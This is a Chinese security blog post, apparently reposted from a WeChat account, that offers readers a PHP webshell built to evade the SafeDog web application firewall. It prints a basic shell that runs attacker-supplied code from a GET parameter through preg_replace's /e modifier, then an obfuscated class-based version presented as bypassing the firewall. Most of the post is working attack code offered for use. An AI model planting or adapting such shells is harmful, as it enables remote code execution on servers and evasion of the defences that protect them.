新年从过狗开始

admin 2022年3月8日14:33:54评论71 views字数 550阅读1分50秒阅读模式


文章来源



微信公众号:Sec盾    作者;Sigsh  


新年到了,送给大家一个PHP免杀的webshell吧。(仅限PHP5.5以下版本)

新年从过狗开始


测试环境

  • PHPstudy8.0.9.2,其中PHP版本为5.2

  • 网站安全狗V4.0正式版

原理

preg_replace函数中使用/e修饰符,造成命令执行。

在PHP5.5以后,/e修饰符被弃用,这种方法就不行了。

<?php$a=$_GET['nb'];preg_replace("/dog/e", $a, "I am a sb dog");?>

在以上代码中,$a中内容会被当做php代码去执行。

新年从过狗开始


但是,不幸的是,这样是无法绕过安全狗的。

新年从过狗开始

因此我们需要对上面代码进行混淆,以便绕过安全狗。这里我采用的是自定义类。

<?phpclass SBdog{  public $x;  function dog(){    $this->x=$_GET['nb'];   }}$class=new SBdog();$class->dog();$a=$class->x;preg_replace("/dog/e", $a, "I am a sb dog");?>

通过定义一个SBdog类,并调用dog函数,将类中$x值赋给$a,这样就可以绕过了。

新年从过狗开始



ps:菜鸡写的文章,有什么错误还请大佬们多多指正。



本文始发于微信公众号(渗透云笔记):新年从过狗开始

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月8日14:33:54
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   新年从过狗开始https://cn-sec.com/archives/493492.html

发表评论

匿名网友 填写信息